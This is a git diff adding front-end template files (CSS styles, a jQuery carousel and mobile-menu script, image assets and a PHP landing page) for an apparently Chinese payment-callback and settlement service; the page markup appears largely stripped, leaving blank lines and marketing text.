inline-block; + border: 2px solid #dee6eb; +} +.account-details form .form-group.checkbox input:checked + label .first { + border-color: #1f7fe2; +} +.account-details form .form-group.checkbox input:checked + label .first:before { + content: "\f00c"; + font-family: 'FontAwesome', serif; + font-size: 13px; + position: relative; + top: -2px; + color: #1f7fe2; +} +.account-details form input, +.account-details form .select { + width: 100%; + height: 50px; + padding: 0 15px; + color: #7782aa; + border: 2px solid #dee6eb; +} +.account-details form input:focus, +.account-details form .select:focus { + outline: none; +} +.account-details form .select { + line-height: 42px; + background: url(../images/down-select.png) no-repeat 97% 50%; +} +.account-details form select { + width: 100%; + border: none; + background-color: transparent; +} +.account-details form select:focus { + outline: none; +} +.account-details form label { + color: #7782aa; + font-size: 15px; + display: block; + letter-spacing: 1px; + margin-bottom: 12px; + font-family: 'Microsoft Yahei', serif; +} +.account-details form label span { + color: #dd4e69; +} +.account-details .bottom { + margin-bottom: 195px; +} +.account-details .bottom h3 { + color: #39335b; + font-size: 32px; + margin-bottom: 16px; + letter-spacing: 3px; +} +.account-details .bottom p { + color: #7782aa; + font-size: 15px; + padding-bottom: 21px; + letter-spacing: 1px; + margin-bottom: 25px; + border-bottom: 2px solid #dee6eb; +} +.account-details .bottom button { + color: #fff; + width: 100%; + padding: 18px 0; + font-size: 15px; + border: none; + border-radius: 7px; + transition: 0.2s linear; + background-color: #0479ec; + text-transform: uppercase; +} +.account-details .bottom button:hover { + background-color: #238ff9; +} +/*===== End of 14. Order Style ======*/ +/*============================================== += 16. Service Page Style = +==============================================*/ +/** + Navigation File + + 01. Service Page + 02. Choice Plan + 03. Info Plan + 04. Block Features + 05. Info Plans + 06. Order Page + 07. Service Page Dark Color + 08. Service Page Images Color + + */ +/* 01. Service Page + ==================================== */ +.service-page .container { + width: 1010px; +} +.service-page .search-domain .container, +.service-page footer .container { + width: 1139px; +} +/* 02. Choice Plan + ==================================== */ +.choice-plan { + margin-bottom: 112px; + padding: 80px 0 0; + background-size: cover; + background: #f6fafd url(../images/choice-plan.png) no-repeat top; +} +.choice-plan h2 { + font-size: 46px; + color: #fff; + letter-spacing: 2px; + margin-bottom: 24px; + font-family: 'Microsoft Yahei', serif; +} +.choice-plan .nav-tabs { + margin-bottom: 56px; + border: none; + width: 100%; + text-align: center; + display: inline-block; +} +.choice-plan .nav-tabs li { + float: none; + display: inline-block; + border: 2px solid #74a0fb; + margin-right: -4px; +} +.choice-plan .nav-tabs li:first-child { + border-top-left-radius: 5px; + border-bottom-left-radius: 5px; +} +.choice-plan .nav-tabs li:last-child { + border-top-right-radius: 5px; + border-bottom-right-radius: 5px; +} +.choice-plan .nav-tabs li a { + border-radius: 0; + color: #c0dbf4; + font-size: 14px; + letter-spacing: 1px; + margin-right: 0; + border: none; + padding: 8px 37px; + background-color: transparent; + text-transform: uppercase; + font-family: 'Microsoft Yahei', serif; +} +.choice-plan .nav-tabs li.active { + background-color: #fff; + border-color: #fff; +} +.choice-plan .nav-tabs li.active a { + color: #3f75ff; +} +.choice-plan .nav-tabs li.active a:hover, +.choice-plan .nav-tabs li.active a:focus { + color: #3f75ff; + border: none; + background-color: transparent; +} +.choice-plan .pricing-list { + text-align: center; +} +.choice-plan .pricing-list li { + width: 30.7%; + float: none; + padding: 43px 35px 12px 35px; + margin-right: 33px; +} +.choice-plan .pricing-list li .custom-btn { + color: #fff; + text-decoration: none; + font-size: 14px; + padding: 14px 0; +} +.choice-plan .pricing-list li:last-child { + margin-right: 0; +} +.choice-plan .pricing-list li .images { + margin-bottom: 13px; +} +.choice-plan .pricing-list li h5 { + margin-bottom: 26px; +} +.choice-plan .pricing-list li .custom-btn { + text-transform: uppercase; +} +.choice-plan .pricing-list ul { + margin-bottom: 15px; + display: inline-block; +} +.choice-plan .pricing-list ul li { + width: auto; + float: none; + margin-right: 0; + box-shadow: none; + margin-bottom: 17px; + background-color: transparent; + border-radius: 0; + padding: 0; + display: block; + letter-spacing: 0; +} +.choice-plan .tab-content { + padding-bottom: 18px; +} +/* 03. Info Plan + ==================================== */ +.info-plan { + padding-bottom: 83px; +} +.info-plan img { + margin-bottom: 28px; +} +.info-plan h5 { + color: #39335b; + font-size: 18px; + letter-spacing: 2px; + margin-bottom: 18px; + font-family: 'Microsoft Yahei', serif; +} +.info-plan p { + color: #7782aa; + font-size: 14px; + letter-spacing: 1px; + line-height: 23px; +} +/* 04. Block Features + ==================================== */ +.block-features { + margin-bottom: -120px; +} +.block-features .row { + display: -ms-flexbox; + display: flex; + -ms-flex-pack: end; + justify-content: flex-end; + -ms-flex-direction: row; + flex-direction: row; +} +.block-features .col-5 { + padding-top: 23px; + padding-left: 100px; +} +.block-features img { + margin-left: 60px; + max-width: 516px; +} +.block-features h3 { + color: #39335b; + font-size: 32px; + margin-top: 5px; + margin-bottom: 19px; + letter-spacing: 3px; +} +.block-features p { + color: #7782aa; + margin-bottom: 65px; + font-size: 14px; + letter-spacing: 1px; +} +/* 05. Info Plans + ==================================== */ +.info-plans { + background: #f6fafd url(../images/bg-servise-2.png) no-repeat top; + padding-top: 268px; +} +.info-plans .title-head { + margin-bottom: 10px; +} +.info-plans p { + color: #7782aa; + font-size: 14px; + text-align: center; + letter-spacing: 1px; + margin-bottom: 45px; +} +.info-plans table { + width: 100%; + box-shadow: 1px 1px 22px rgba(157, 184, 209, 0.19); + border-radius: 3px; + z-index: 999; + position: relative; + background-color: #fff; +} +.info-plans table thead tr td { + padding-top: 35px; + color: #39335b; + font-size: 18px; + font-family: 'Microsoft Yahei', serif; +} +.info-plans table thead tr td:first-child { + padding-bottom: 18px; +} +.info-plans table tbody tr:last-child td { + padding-bottom: 43px; +} +.info-plans table tbody td.background { + background-color: rgba(230, 237, 246, 0.4); +} +.info-plans table tr { + padding: 0 40px; +} +.info-plans table tr.offset-inside td { + padding-top: 43px; +} +.info-plans table tr td { + color: #7782aa; + font-size: 15px; + letter-spacing: 1px; + text-align: center; + padding: 10px 0; +} +.info-plans table tr td.text-left { + width: 27%; + text-align: left; + padding-left: 40px; +} +.info-plans table tr td b { + color: #39335b; + font-family: 'Microsoft Yahei', serif; +} +.info-plans table tr.border-line { + border: 2px solid rgba(230, 237, 246, 0.4); +} +/* 06. Order Page + ==================================== */ +.bottom-info-plans { + margin-top: -240px; + padding: 260px 0 175px 0; + margin-bottom: 80px; + background-size: contain; + background: url(../images/bottom-info-plans.png) no-repeat center; +} +.bottom-info-plans .title-head { + color: #fff; + margin-top: 100px; + margin-bottom: 7px; +} +.bottom-info-plans p { + text-align: center; + font-size: 14px; + margin-bottom: 25px; + color: rgba(205, 220, 236, 0.8); +} +.bottom-info-plans .custom-btn { + padding: 16px 29px; + font-size: 15px; +} +.bottom-info-plans .partner-slider { + margin-top: 85px; + text-align: center; +} +.bottom-info-plans .partner-slider img { + width: 125px; +} +.bottom-info-plans .partner-slider .owl-stage { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: row; + flex-direction: row; + -ms-flex-align: center; + align-items: center; +} +.bottom-info-plans .partner-slider .owl-item { + display: -ms-flexbox; + display: flex; + -ms-flex-pack: center; + justify-content: center; +} +/* 07. Service Page Dark Color + ==================================== */ +.dark-color .choice-plan { + background: #f5fafd url(../images/choice-plan2.png) no-repeat top; +} +.dark-color .choice-plan .nav-tabs li { + border-color: #5c41c4; +} +.dark-color .choice-plan .nav-tabs li.active { + border-color: #fff; +} +.dark-color .choice-plan .nav-tabs li.active a { + color: #482cac; +} +.dark-color .choice-plan .nav-tabs li a { + color: #c3b5f7; +} +.dark-color .bottom-info-plans { + background: url(../images/bottom-info-plans2.png) no-repeat center; +} +.dark-color header .button-header .custom-btn.login { + background-color: #675abf; +} +/* 08. Service Page Images Color + ==================================== */ +.images-color .choice-plan { + background: url(../images/choice-plan3.png) no-repeat top; +} +.images-color .choice-plan .nav-tabs li { + border-color: #7e94bb; +} +.images-color .choice-plan .nav-tabs li.active { + border-color: #fff; +} +.images-color .choice-plan .nav-tabs li.active a { + color: #063a6d; +} +.images-color header .button-header .custom-btn.login { + background: rgba(255, 255, 255, 0.2) none; +} +.images-color .bottom-info-plans { + background: url(../images/bottom-info-plans3.png) no-repeat center; +} +/*===== End of 16. Service Page Style ======*/ +/*============================================= += 17. Mobile Menu Style = +=============================================*/ +/** + Navigation File + + 01. Mobile Menu + 02. Mobile Menu Btn + + */ +/* 01. Mobile Menu + ==================================== */ +.mobile-menu { + display: none; + width: 100%; + height: 100vh; +} +.mobile-menu .inside { + width: 100%; + height: 100%; + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-pack: justify; + justify-content: space-between; +} +.mobile-menu .menu { + padding: 15px 0; +} +.mobile-menu .button-header { + padding-bottom: 30px; +} +.mobile-menu .logo { + padding: 30px 0 0; +} +.mobile-menu .menu li { + width: 100%; + padding: 10px 0 30px 0; + margin-right: 0; +} +.mobile-menu .menu li:before { + bottom: 15px; +} +.mobile-menu .menu .sub-menu { + margin: 20px auto 0; + position: static; + left: auto; + -ms-transform: translateX(0) scale(1); + transform: translateX(0) scale(1); + opacity: 1; + visibility: visible; +} +.mobile-menu .menu .children { + border-radius: 0; + background-color: transparent; + box-shadow: none; + border: none; +} +.mobile-menu .menu .children > a:after { + content: "\f107"; + font-size: 18px; + color: #fff; + position: relative; + left: 6px; + top: 2px; + font-family: FontAwesome, serif; + display: inline-block; + -ms-transform: rotate(180deg); + transform: rotate(180deg); +} +.mobile-menu .menu .children .collapsed:after { + -ms-transform: rotate(0); + transform: rotate(0); +} +.mobile-menu .menu .children:hover .sub-menu { + -ms-transform: translateX(0) scale(1); + transform: translateX(0) scale(1); +} +.mobile-menu .logo, +.mobile-menu .menu, +.mobile-menu .button-header { + width: 100%; + text-align: center; +} +.mobile-menu-open { + overflow-y: hidden; +} +.mobile-menu-open .mobile-block { + overflow-y: scroll; +} +/* 02. Mobile Menu Btn + ==================================== */ +.mobile-menu-btn { + position: absolute; + display: inline-block; + top: 17px; + right: 30px; + height: 30px; +} +.mobile-menu-btn.active span { + background-color: rgba(0, 0, 0, 0); + transition-delay: 0.2s; +} +.mobile-menu-btn.active span:before { + margin-top: 0; + -ms-transform: rotate(45deg); + transform: rotate(45deg); + transition-delay: 0s, 0.2s; +} +.mobile-menu-btn.active span:after { + margin-top: 0; + -ms-transform: rotate(-45deg); + transform: rotate(-45deg); + transition-delay: 0s, 0.2s; +} +.mobile-menu-btn span { + margin: 0 auto; + position: relative; + top: 10px; + transition-duration: 0s; + transition-delay: 0.2s; +} +.mobile-menu-btn span:before, +.mobile-menu-btn span:after { + content: ''; + position: absolute; +} +.mobile-menu-btn span:before { + margin-top: -10px; + transition-property: margin, transform; + transition-duration: 0.2s; + transition-delay: 0.2s, 0s; +} +.mobile-menu-btn span:after { + margin-top: 10px; + transition-property: margin, transform; + transition-duration: 0.2s; + transition-delay: 0.2s, 0s; +} +.mobile-menu-btn span, +.mobile-menu-btn span:before, +.mobile-menu-btn span:after { + width: 35px; + height: 3px; + background-color: #fff; + display: block; +} +/*===== End of 17. Mobile Menu Style ======*/ +/*======================================= += 15. Login Style = +=======================================*/ +/** + Navigation File + + 01. Login Page + 02. Login Bg + 03. Create + 04. Sign Up + + */ +/* 01. Login Page + ==================================== */ +.login-page { + background: #f6fafd linear-gradient(to top, #ffffff 0%, #ffffff 1%, #f5fafd 80%, #f5fafd 100%); +} +.login-page header { + margin-bottom: 115px; +} +/* 02. Login Bg + ==================================== */ +.login-bg, +.sign-up { + padding-bottom: 150px; +} +.login-bg form, +.sign-up form { + width: 540px; + margin: 0 auto 37px; + padding: 41px 60px 40px 65px; + box-shadow: 1px 1px 44px rgba(38, 63, 90, 0.09); + border-radius: 5px; + background-color: #ffffff; +} +.login-bg form a, +.sign-up form a { + display: inline-block; +} +.login-bg form .form-group, +.sign-up form .form-group { + margin-bottom: 51px; +} +.login-bg form .form-group:last-child, +.sign-up form .form-group:last-child { + text-align: right; +} +.login-bg form .form-group:last-child a, +.sign-up form .form-group:last-child a { + float: left; + padding-top: 12px; +} +.login-bg form button, +.sign-up form button { + padding: 15px 42px; +} +.login-bg h2, +.sign-up h2 { + color: #39335b; + font-size: 38px; + letter-spacing: 1px; + margin-bottom: 50px; +} +/* 03. Create + ==================================== */ +.create { + font-size: 15px; + color: #8198a6; + letter-spacing: 1px; +} +.create a { + display: inline-block; + text-decoration: underline; +} +/* 04. Sign Up + ==================================== */ +.sign-up .select { + font-size: 15px; + color: #8198a6; + letter-spacing: 1px; + width: 100%; + padding-bottom: 37px; + border-bottom: 2px solid #dee6eb; + background: url(../images/down-select.png) no-repeat 97% 50%; +} +.sign-up .select .select-options:before { + left: 15%; +} +.sign-up .select .select-options li { + text-transform: capitalize; + font-size: 16px; +} +.bottom-post h5{ + font-size: 16px; + text-transform: uppercase; + font-weight: 700; +} +.table-bordered { + border-color: #0071ff; +} + + +.table-bordered > thead > tr > th, .table-bordered > tbody > tr > th, .table-bordered > tfoot > tr > th, .table-bordered > thead > tr > td, .table-bordered > tbody > tr > td, .table-bordered > tfoot > tr > td { + border-color: #f3f3f3; + font-size: 15px; + line-height: 1.50; + color: #666666; +} +.table > thead > tr > th { + border-bottom: 1px solid #0071ff; + background-color: #0071ff; + color: #fff; + font-size:15px; +} +pre { + padding: 20px; + -webkit-border-radius: 0px; + -moz-border-radius: 0px; + border-radius: 0px; +} +.widget-categories .active{ + color:#0479ec; +} +/*===== End of 15. Login Style ======*/ +/*=================================== += Color Theme = +===================================*/ +/*===== End of Color Theme ======*/ +/*=================================== += Font Family = +===================================*/ +/*===== End of Font Family ======*/ \ No newline at end of file diff --git a/template/index8/assets/js/main.js b/template/index8/assets/js/main.js new file mode 100644 index 0000000..e0a3fef --- /dev/null +++ b/template/index8/assets/js/main.js @@ -0,0 +1,112 @@ +// *************************************************************************// +// ! This is main JS file that contains custom scripts used in this template*/ +// *************************************************************************// +/** + Navigation File + + 01. Carousel + 02. Custom Select + 03. Mobile Menu + + */ + +$( document ).ready(function() { + "use strict"; + // **********************************************************************// + // 01. Carousel + // **********************************************************************// + $('.base-slider, .slider').owlCarousel({ + loop: true, + margin: 0, + nav: true, + navText: ["",""], + dots: false, + item: 1, + responsive:{ + 0:{ + items:1 + }, + 600:{ + items:1 + }, + 1000:{ + items:1 + } + } + }); + $('.partner-slider').owlCarousel({ + loop: true, + margin: 0, + nav: false, + autoplay: true, + dots: false, + item: 5, + responsive:{ + 0:{ + items:2 + }, + 600:{ + items:3 + }, + 1000:{ + items:5 + } + } + }); + + // **********************************************************************// + // 02. Custom Select + // **********************************************************************// +/* $('select').each(function(){ + var $this = $(this), numberOfOptions = $(this).children('option').length; + + $this.addClass('select-hidden'); + $this.wrap('
                                    '); + $this.after('
                                    '); + + var $styledSelect = $this.next('div.select-styled'); + $styledSelect.text($this.children('option').eq(0).text()); + + var $list = $('
                                      ', { + 'class': 'select-options' + }).insertAfter($styledSelect); + + for (var i = 0; i < numberOfOptions; i++) $('
                                    • ', { + rel: $this.children('option').eq(i).val(), + text: $this.children('option').eq(i).text() + }).appendTo($list); + + var $listItems = $list.children('li'); + + $styledSelect.click(function(e) { + e.stopPropagation(); + $('div.select-styled.active').not(this).each(function(){ + $(this).removeClass('active').next('ul.select-options').hide(); + }); + $(this).toggleClass('active').next('ul.select-options').toggle(); + }); + + $listItems.click(function(e) { + e.stopPropagation(); + $styledSelect.text($(this).text()).removeClass('active'); + $this.val($(this).attr('rel')); + $list.hide(); + }); + + $(document).click(function() { + $styledSelect.removeClass('active'); + $list.hide(); + }); + + });*/ + + // **********************************************************************// + // 03. Mobile Menu + // **********************************************************************// + $('.mobile-menu-btn').on('click', function(){ + $(this).toggleClass('active'); + $('header').toggleClass('active'); + $('body').toggleClass('mobile-menu-open'); + }); + +}); \ No newline at end of file diff --git a/template/index8/assets/picture/aliyun.png b/template/index8/assets/picture/aliyun.png new file mode 100644 index 0000000..af72495 Binary files /dev/null and b/template/index8/assets/picture/aliyun.png differ diff --git a/template/index8/assets/picture/bg-test.png b/template/index8/assets/picture/bg-test.png new file mode 100644 index 0000000..404bd55 Binary files /dev/null and b/template/index8/assets/picture/bg-test.png differ diff --git a/template/index8/assets/picture/logo.png b/template/index8/assets/picture/logo.png new file mode 100644 index 0000000..73ab3ef Binary files /dev/null and b/template/index8/assets/picture/logo.png differ diff --git a/template/index8/assets/picture/optimised.svg b/template/index8/assets/picture/optimised.svg new file mode 100644 index 0000000..5330ab0 --- /dev/null +++ b/template/index8/assets/picture/optimised.svg @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + diff --git a/template/index8/assets/picture/powerfull.svg b/template/index8/assets/picture/powerfull.svg new file mode 100644 index 0000000..ca80934 --- /dev/null +++ b/template/index8/assets/picture/powerfull.svg @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/template/index8/assets/picture/qqpay.png b/template/index8/assets/picture/qqpay.png new file mode 100644 index 0000000..d4f2cf2 Binary files /dev/null and b/template/index8/assets/picture/qqpay.png differ diff --git a/template/index8/assets/picture/right.png b/template/index8/assets/picture/right.png new file mode 100644 index 0000000..ed805fa Binary files /dev/null and b/template/index8/assets/picture/right.png differ diff --git a/template/index8/assets/picture/tenpay.png b/template/index8/assets/picture/tenpay.png new file mode 100644 index 0000000..65df6ed Binary files /dev/null and b/template/index8/assets/picture/tenpay.png differ diff --git a/template/index8/assets/picture/website.svg b/template/index8/assets/picture/website.svg new file mode 100644 index 0000000..09568f8 --- /dev/null +++ b/template/index8/assets/picture/website.svg @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + diff --git a/template/index8/assets/picture/wxpay.png b/template/index8/assets/picture/wxpay.png new file mode 100644 index 0000000..e738d9a Binary files /dev/null and b/template/index8/assets/picture/wxpay.png differ diff --git a/template/index8/index.php b/template/index8/index.php new file mode 100644 index 0000000..4d2a56f --- /dev/null +++ b/template/index8/index.php @@ -0,0 +1,148 @@ + + + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + + + +
                                      +
                                      +
                                      +
                                      +
                                      + +
                                      + + +
                                      +
                                      +
                                      +
                                      + + +
                                      +
                                      + +
                                      +
                                      +
                                      +

                                      全天候无人值守 7X24小时高效运转

                                      +
                                      +
                                      +
                                      + + 极速响应 +

                                      付款后立即回调,无等待,流程超顺畅

                                      + 加入我们 +
                                      +
                                      +
                                      +
                                      + + 资金直达 +

                                      系统收到交易消息后自动将余额提现

                                      + 加入我们 +
                                      +
                                      +
                                      +
                                      + + 账户安全 +

                                      绑定后无法更改,防止他人修改结算账户

                                      + 加入我们 +
                                      +
                                      +
                                      +
                                      +
                                      +
                                      +
                                      +
                                      +
                                      +平台合作伙伴 +
                                      +
                                      + + + + +
                                      +
                                      +
                                      +
                                      +
                                    +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  + + + + + + \ No newline at end of file diff --git a/template/index8/preview.png b/template/index8/preview.png new file mode 100644 index 0000000..83a7904 Binary files /dev/null and b/template/index8/preview.png differ diff --git a/template/index9/assets/css/style.css b/template/index9/assets/css/style.css new file mode 100644 index 0000000..b2fdc1d --- /dev/null +++ b/template/index9/assets/css/style.css @@ -0,0 +1,3070 @@ + +/* -------------------------------- + +Fonts + +-------------------------------- */ + + +/* -------------------------------- + +Main + +-------------------------------- */ + +*, *::after, *::before { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +html * { + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +html { + font-size: 62.5%; + height: 100%; +} + +body { + font-size: 1.6rem; + font-family: 'Montserrat', sans-serif; + font-weight: 300; + background: #fff; +} +b, strong { + font-weight: 800; +} +a { + text-decoration: none; + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +a:hover { + color: #173AE8; +} +.link { + border-bottom: 1px solid #2683ff; +} +.link:hover, .link:focus { + text-decoration: none; + border-color: #173AE8; +} + +h1, h2, h3, h4, h5, h6, a, p, span { + -webkit-font-feature-settings: 'kern' 1; + -moz-font-feature-settings: 'kern' 1; + -ms-font-feature-settings: 'kern' 1; + -o-font-feature-settings: 'kern' 1; + font-feature-settings: 'kern' 1; + text-rendering: optimizelegibility; + font-kerning: normal; +} + +h1, h2, h3, h4, h5, h6 { + font-weight: 800; + color: #2683FF; + margin-bottom: 0.6em; +} +.title { + margin-bottom: 1em; +} +p { + font-weight: 300; + line-height: 1.6em; +} +img { + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -o-user-select: none; + user-select: none; +} + +.section { + padding: 4em 0 5em; +} + +.white { + background: #fff; +} +.grey { + background: #f2f4f6; +} +.normal { + font-weight: normal; +} + +.spacer5 { height: 5px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer10 { height: 10px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer15 { height: 15px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer20 { height: 20px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer25 { height: 25px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer30 { height: 30px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer35 { height: 35px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer40 { height: 40px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer45 { height: 45px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer50 { height: 50px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer100 { height: 100px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } +.spacer200 { height: 200px; width: 100%; font-size: 0; margin: 0; padding: 0; border: 0; display: block; } + +.mb0 { margin-bottom: 0 !important; } +.mt0 { margin-top: 0 !important; } +.ml0 { margin-left: 0 !important; } +.mr0 { margin-right: 0 !important; } + +/* centered columns styles */ +.row-centered { + text-align:center; +} +.col-centered { + display:inline-block; + float:none; + /* reset the text-align */ + text-align:left; + /* inline-block space fix */ + margin-right:-4px; +} + + +/* -------------------------------- + +Buttons + +-------------------------------- */ + +.btn { + font-weight: 800; + text-transform: uppercase; + background: #2683FF; + color: #FFF; + font-size: 16px; + padding: 14px 50px; + border-radius: 4px; + z-index: 2; + outline: 0; + -webkit-backface-visibility: hidden; + -moz-osx-font-smoothing: grayscale; + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +.btn-grey { + font-weight: 800; + text-transform: uppercase; + background: none; + font-size: 15px; + padding: 14px 50px; + border-radius: 4px; + z-index: 2; + outline: 0; + -webkit-backface-visibility: hidden; + -moz-osx-font-smoothing: grayscale; + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +.btn:hover, .btn:focus { + color: #fff; + background: #173AE8; + outline: 0; +} +.btn:focus, .btn:active:focus, .btn.active:focus, .btn.focus, .btn:active.focus, .btn.active.focus { + outline: 0; +} + +.btn-transparent { + background: transparent; + border: 2px solid #eee; + color: #555; +} +.btn-transparent:hover { + background: #fff; + color: #333; + border-color: #555; +} +.btn-transparent:focus { + color: #2683ff; + border-color: #2683ff; + background: #fff; +} + +.btn-green { + color: #fff; + background: #88C425; +} +.btn-green:hover, .btn-green:focus { + background: #91D127; +} + +.btn-orange { + background: #FF7F00; + color: #fff; +} +.btn-orange:hover, .btn-orange:focus { + background: #FF6600; +} + +.btn-purple { + background: #7056bf; + color: #fff; +} +.btn-purple:hover, .btn-purple:focus { + background: #7016bf; +} + +.btn-red { + background: transparent; + border-color: #fa6e50; + color: #fa6e50; +} +.btn-red:hover, .btn-red:focus { + background: #fa6e50; + border-color: #fa6e50; + color: #fff; +} + +.btn-white { + background: #fff; + color: #003366; +} +.btn-white:hover, .btn-white:focus { + background: #fff; + color: #2683ff; +} + +.btn-menu { + margin: 28px 0 28px 6px; + padding: 12px 32px 10px; +} + +.btn-action { + margin-top: 18px; + padding: 12px 36px 10px; +} + +.btn-block { + margin-top: 1.6em; + margin-bottom: 1.4em; +} + +.btn-download { + max-width: 100%; +} + +.btn-signup { + margin: 10px auto 20px; + display: block; + max-width: 360px; +} + +.subscribe { + margin-top: 0; + margin-bottom: 15px; +} + + +/* -------------------------------- + +Navigation + +-------------------------------- */ + +.navbar-brand { + padding: 0; + margin: 25px; +} +.logo { + display: inline-block; + margin: 0 5px 0 15px; + width: 14vh; + height: 52px; +} + +.menu { + z-index: 3; + background: none; + border: none; + margin: 0; +} + +.navbar-heroku { + margin-top: 30px; +} + +.navbar-default .navbar-toggle { + border: 2px solid #fff; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #FFF; + border-radius: 0; +} +.navbar-default .navbar-collapse, .navbar-default .navbar-form { + border: 0; +} +.navbar-default .navbar-toggle:focus { + background: none; +} +.navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:active { + background-color: #2683ff; +} +.navbar-default .navbar-collapse.in{ + border-color: transparent; +} +.navbar-collapse.in li { + border-bottom: 1px solid rgba(255, 255, 255, 0.12); +} +.navbar-nav { + margin: 0 -15px; + text-align: center; +} +.navbar-nav>li>a { + padding: 40px 16px; + line-height: 22px; + text-align: center; +} +.nav>li>a:hover, .nav>li>a:focus { + background: none; + color: #fff; +} +.navbar-default .navbar-nav>li>a:hover, .navbar-default .navbar-nav>li>a:focus { + color: #fff; +} +.navbar-default .navbar-nav>li>a { + display: inline-block; + color: #fff; + border: 0; +} +.navbar-default .navbar-nav>li>a:hover { + color: #fff; + text-decoration: underline; +} +.navbar .dropdown { + display: inline-block; +} + +.navbar-default .navbar-nav>.open>a, .navbar-default .navbar-nav>.open>a:hover, .navbar-default .navbar-nav>.open>a:focus { + background-color: transparent; + color: #fff; +} + +.home .nav>li>a.link:hover, .home .nav>li>a.link:focus { + text-decoration: underline; +} + +.navbar-page { + border: 0; + border-radius: 0; + background: #fff; +} +.navbar-page .navbar-nav>li>a { + padding: 40px 16px; + width: 100%; + color: #333; + border: 0; +} +.navbar-page .navbar-nav>li>a:hover { + color: #2683ff; +} +.navbar-page .nav>li>a.link:hover, .navbar-page .nav>li>a.link:focus { + text-decoration: underline; +} +. +.navbar-page .navbar-nav>li>a:hover, .navbar-page .navbar-nav>li>a:focus { + color: #2683ff; +} +.navbar-page .navbar-nav>li>a.active { + color: #2683ff; +} +.navbar-page .navbar-toggle { + margin-top: 34px; + margin-right: 22px; + border: 2px solid #2683ff; +} +.navbar-page .navbar-toggle .icon-bar { + background: #2683ff; +} +.navbar-page .navbar-toggle:hover .icon-bar { + background: #fff; +} + +.navbar .dropdown-menu { + background: rgba(0,0,0,0.4); + top: 80px; + padding: 0; +} +.home .navbar .dropdown-menu { + border: 1px solid rgba(255, 255, 255, 0.2); +} +.navbar .dropdown-menu>li>a { + color: #fff; + font-weight: 300; + font-size: 16px; + border-bottom: 0; + border: 0; + padding: 1em; +} +.navbar .dropdown-menu>li>a:hover { + color: #333; + text-decoration: underline; +} + +.navbar-page .navbar-nav>.open>a, .navbar-page .navbar-nav>.open>a:hover, .navbar-page .navbar-nav>.open>a:focus { + color: #2683ff; +} +.navbar-page .navbar-nav>li>a:hover, .navbar-page .navbar-nav>li>a:focus { + color: #2683ff; +} +.navbar-page .dropdown-menu { + background: #fff; +} +.navbar-page .dropdown-menu>li>a { + color: #333; +} +.navbar-page .dropdown-menu>li>a:hover { + color: #2683ff; +} +.navbar-page .dropdown-menu>li>a:active { + color: #2683ff; +} + +.btn-rent { + background: transparent; + border: 2px solid #eee !important; + padding: 8px 10px !important; + margin-top: 31px; + margin-left: 10px; + width: auto !import/ant; +} +.btn-partner { + background: transparent; + border: 2px solid #eee !important; + padding: 14px 20px !important; +} +.btn-partner:focus, .btn-partner:active, .btn-partner:hover { + border: 2px solid #929292 !important; + color: #929292 !important; + box-shadow: none !important; + text-decoration: none !important; +} +.btn-partner.active { + border-color: #929292 !important; + border: 2px solid #929292 !important; + box-shadow: none !important; +} +.btn-rent:focus, .btn-rent:active, .btn-rent:hover { + border-color: #fff; + color: #fff !important; + box-shadow: none !important; + text-decoration: none !important; +} +.btn-rent.active { + border-color: #fff !important; + color: #fff !important; + box-shadow: none !important; +} +.navbar-page .btn-rent:hover, .navbar-page .btn-rent:focus, .navbar-page .btn-rent:active { + border-color: #2683ff !important; + color: #2683ff !important; +} + +/* -------------------------------- + +Inputs + +-------------------------------- */ + +input, select, textarea { + display: block; + background: #fbfbfb; + border: 1px solid #eee; + border-radius: 4px; + color: #2683FF; + padding: 12px 18px 10px; + margin: 25px auto; + width: 100%; + max-width: 320px; + font-size: 16px; + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +input:focus, select:focus, textarea:focus { + outline: 0; + border-color: #2D86fb; +} + +#publicKeys input { + margin-top: 20px; +} + +select { + height: 46px; + text-indent: 10px; + color: #444; +} + +.email { + margin-top: 1em; + margin-bottom: 1em; +} + +::-webkit-input-placeholder { + color: #444; +} +:focus::-webkit-input-placeholder { + color: #BAD7FE; +} +:-moz-placeholder { + color: #444; +} +:focus:-moz-placeholder { + color: #BAD7FE; +} +::-moz-placeholder { + color: #444; +} +:focus::-moz-placeholder { + color: #BAD7FE; +} +:-ms-input-placeholder { + color: #444; +} +:focus:-ms-input-placeholder { + color: #BAD7FE; +} 